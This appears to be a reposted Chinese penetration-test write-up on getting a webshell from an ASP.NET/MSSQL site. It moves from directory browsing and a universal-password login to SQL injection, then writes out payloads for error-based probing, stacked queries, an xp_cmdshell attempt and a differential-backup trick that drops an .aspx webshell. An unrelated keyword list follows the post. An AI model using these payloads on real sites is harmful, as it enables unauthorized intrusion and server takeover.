一次差异备份拿shell过程
发表于:2025-01-21 作者:千家信息网编辑
千家信息网最后更新 2025年01月21日,0x00 前言扫描器扫到了某个网站存在目录浏览,于是便有了本文。。。知识点科普:1. 目录浏览目录浏览在我个人看来是危害较大的一个漏洞,该漏洞是指"在没有默认文档的目录下,列出该目录下所有文件名及文件
千家信息网最后更新 2025年01月21日一次差异备份拿shell过程
0x00 前言
扫描器扫到了某个网站存在目录浏览,于是便有了本文。。。
知识点科普:
1. 目录浏览
目录浏览在我个人看来是危害较大的一个漏洞,该漏洞是指"在没有默认文档的目录下,列出该目录下所有文件名及文件信息",如果站点存在这种错误配置,***者如果知道其中目录名,则可以查看到这些目录下的文件。
2.差异备份条件
- 站点绝对路径
- 具有路径写入权限
- 具备当前数据库权限
0x01 正文
站点配置不当,导致目录浏览,通过查看首页的源代码,翻到了几个目录
随便访问了一个,发现会报错,说明网站管理员并没有把错误信息屏蔽
还存在信息泄漏。。
但是通常目录下的文件是需要传递参数去执行的,我们并不知道参数名,所以并没办法利用
辗转后到前台登录界面查看
尝试了一下,发现密码处存在注入和弱口令admin,也就是可以用万能密码登录啦
本来想找一处文件上传,直接getshell,但是发现好像不存在,却发现了网站使用了kindeditor和网站绝对路径
那么前面登录口处存在注入,后台一般也有很多注入的啦,尝试找一下,如果有的话,配合绝对路径可以进行getshell
okok,发现注入啦,但到目前为止并不知道数据库是什么类型,一般aspx+mssql,由于前面发现是可以报错的,那么尝试使用mssql的报错方式
%' and 1=@@version --a
mssql数据库,查看一下当前的用户身份
%' and 1=user --a
dbo的权限并不是sa,尝试一下xp_cmdshell
%';exec('master..xp_cmdshell whoami') --a
并没有开启xp_cmdshell,且dbo的权限是不足以开启xp_cmdshell的,那么只能尝试使用差异备份的方式来写入一个webshell
1. 获取当前数据库名称
%' and 1=db_name() --a
2. 对当前数据库进行备份
%';backup database 数据库名称 to disk = '绝对路径' with init --a
如果成功备份,则网页返回%'的查询结果(因为是堆叠且后面语句的执行并不会有返回结果)
3.创建表格,并写入webshell
%';create table cmd(a image) --a%';insert into cmd(a) values (0xxxxx) --a //webshell的hex值
可以用网上的工具,笔者用以前自己开发的小工具
4.进行第二次备份
%';backup log 数据库名称 to disk = '绝对路径\\abc.aspx'--
这里我将webshell写入子目录中,因为有目录浏览,能确切看到文件是否产生
创建成功后,尝试连接
0x02 后续
- 如果能直接使用xp_cmdshell就尽量不要使用差异备份,因为会产生备份文件,如果数据库很大的话,会造成影响
- 有任何错误,请斧正
目录
数据
数据库
备份
文件
路径
尝试
浏览
权限
网站
差异
信息
名称
站点
错误
登录
成功
参数
密码
工具
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
office账户遇到服务器问题
java 数据库 触发器
2022年中国市场idc服务器
数据库怎样修改元组名
网络安全从什么时候实施
明日之后楠楠姐在哪个服务器
比尔盖茨为软件开发做出
网络技术招聘岗位
服务器bios设置图解教程
什么是数据库管理员简称
数据库建设
服务器环境配置是什么
湖北通信软件开发检测中心
我国网络安全现状商务安全
微软数据库分析工具
伴唱下载软件开发
青春吉他谱软件开发
软件开发项目税务优惠
性能超老牌数据库
一个软件开发公司多少人
南宁一站网网络技术有限公司
网络安全从什么时候实施
tomcat本地服务器
互联网科技公司 校招
数据库写入成功
360网络安全职业资格证
手游服务器 ip
读取文件放入数据库
曙光服务器默认管理
平谷区数据网络技术软件